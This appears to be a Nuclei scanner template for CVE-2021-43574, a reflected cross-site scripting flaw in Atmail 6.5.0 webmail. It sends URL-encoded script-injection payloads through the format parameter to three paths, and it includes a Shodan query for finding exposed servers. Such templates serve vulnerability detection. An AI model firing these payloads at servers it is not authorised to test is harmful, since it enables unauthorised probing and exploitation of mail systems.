id: CVE-2021-43574 info: name: Atmail 6.5.0 - Cross-Site Scripting author: arafatansari,ritikchaddha severity: medium description: | Atmail 6.5.0 contains a cross-site scripting vulnerability in WebAdmin Control Pane via the format parameter to the default URI, which allows remote attackers to inject arbitrary web script or HTML via the “format” parameter. remediation: | Apply the latest security patches or updates provided by Atmail to fix the XSS vulnerability. reference: - https://medium.com/@bhattronit96/cve-2021-43574-696041dcab9e - https://help.atmail.com/hc/en-us/sections/115003283988 - https://nvd.nist.gov/vuln/detail/CVE-2021-43574 - https://medium.com/%40bhattronit96/cve-2021-43574-696041dcab9e classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-43574 cwe-id: CWE-79 epss-score: 0.0019 epss-percentile: 0.56507 cpe: cpe:2.3:a:atmail:atmail:6.5.0:*:*:*:*:*:*:* metadata: verified: true max-request: 3 vendor: atmail product: atmail shodan-query: http.html:"Powered by Atmail" tags: cve,cve2021,atmail,xss http: - method: GET path: - "{{BaseURL}}/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - "{{BaseURL}}/atmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - "{{BaseURL}}/atmail/webmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" stop-at-first-match: true matchers-condition: and matchers: - type: word part: body words: - '" does not exist' - type: word part: header words: - text/html - type: status status: - 500 - 403 condition: or # digest: 4b0a00483046022100a40698b9ab79ba67eefcb1e5e44d1deb08183d5f6e53c767493ed1dfdc4e4131022100d60021617a112a4a1ad0433c45fa47e821c8bbd8601d3d98a99887631cba11cf:922c64590222798bb761d5b6d8e72950